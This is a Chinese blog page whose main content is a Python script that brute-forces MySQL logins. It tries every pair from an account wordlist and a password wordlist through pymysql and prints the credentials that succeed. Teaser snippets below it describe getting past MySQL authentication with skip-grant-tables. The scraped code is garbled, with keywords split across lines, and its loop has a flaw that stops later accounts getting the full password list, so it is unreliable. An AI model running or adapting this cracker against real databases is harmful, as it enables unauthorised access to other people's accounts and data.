python破解mysql資料庫 二

2021-08-21 09:39:59 字數 1611 閱讀 6460

# coding:utf-8

import pymysql#匯入連線資料庫的模組

class

pojietwo:

def__init__

(self,accountpath,wordpath):

self.accountfile =open(accountpath,"r",errors="ignore")#開啟賬戶字典

self.wordfile =open(wordpath,"r",errors="ignore")#開啟密碼字典

deflianjiemysql

(self,account,word):

#連線資料庫的方法

try:

db =pymysql.connect("localhost",account,word) #連線資料庫

#pymysql.connect()方法的第乙個引數是ip位址,本機可以用localhost代替

#第二個引數是賬戶名,

#第三個是密碼,

db.close()#關閉資料庫

return

true

#連線成功返回true

except:

return

false

defpojiechangshi

(self):

#讀取字典檔案的方法

while

true:#迴圈讀取賬戶字典

myaccount=self.accountfile.readline()#讀取一行

ifnot myaccount:#如果讀到賬戶檔案最後沒有資料了,就跳出迴圈

break

while

true:#迴圈讀取密碼字典

myword=self.wordfile.readline()#讀取密碼字典的一行

ifnot myword:#如果讀到密碼檔案最後沒有資料了,就跳出迴圈

break

if self.lianjiemysql(myaccount,myword):#把讀到賬戶和密碼傳到連線資料庫方法裡面

#如果返回了true說明破解成功

print("賬戶:",myaccount,"密碼正確----",myword)#列印正確密碼

break

#結束迴圈

else :

print("賬戶:",myaccount,"密碼錯誤",myword)

def__del__

(self):

#無論如何最終要執行的方法

self.accountfile.close()#關閉賬戶字典

self.wordfile.close()#關閉密碼字典檔案

pass

accountpath=r"c:\users\administrator\desktop\賬號.txt"

#傳入賬戶字典絕對檔案路徑

wordpath=r"c:\users\administrator\desktop\wordlist.txt"

#傳入密碼字典絕對檔案路徑

start =pojietwo(accountpath,wordpath)#例項化物件

start.pojiechangshi()#物件執行方法

Mysql密碼破解

1首先關閉mysql服務,確保沒有任何乙個和mysql服務相關的程序開啟 systemctl stop mysqld ps aux grep mysql 2把mysql放在後台啟動 skip grant table跳過授權表 mysqld safe skip grant tables 3進入mysq...

破解本地MySQL資料庫密碼

本文主要介紹的是忘記mysql資料庫密碼的實際解決方案,如果在實際操作中你不小心忘記mysql資料庫密碼可以說是一件十分麻煩的事情,以下的文章就是對一麻煩事的破解,以下就是文章的主要內容描述。破解本地mysql資料庫密碼 windows 1.用系統管理員登陸系統。2.停止mysql的服務。net s...

mysql破解密碼

先停止 mysqld 服務 service mysqld stop 編輯 mysql 的配置檔案 找到 mysqld 字段 新增以下兩行並儲存退出 skip grant tables skip networking 再次啟動 mysql 在命令列直接輸出 mysql 就可以無需密碼登入到 mysql...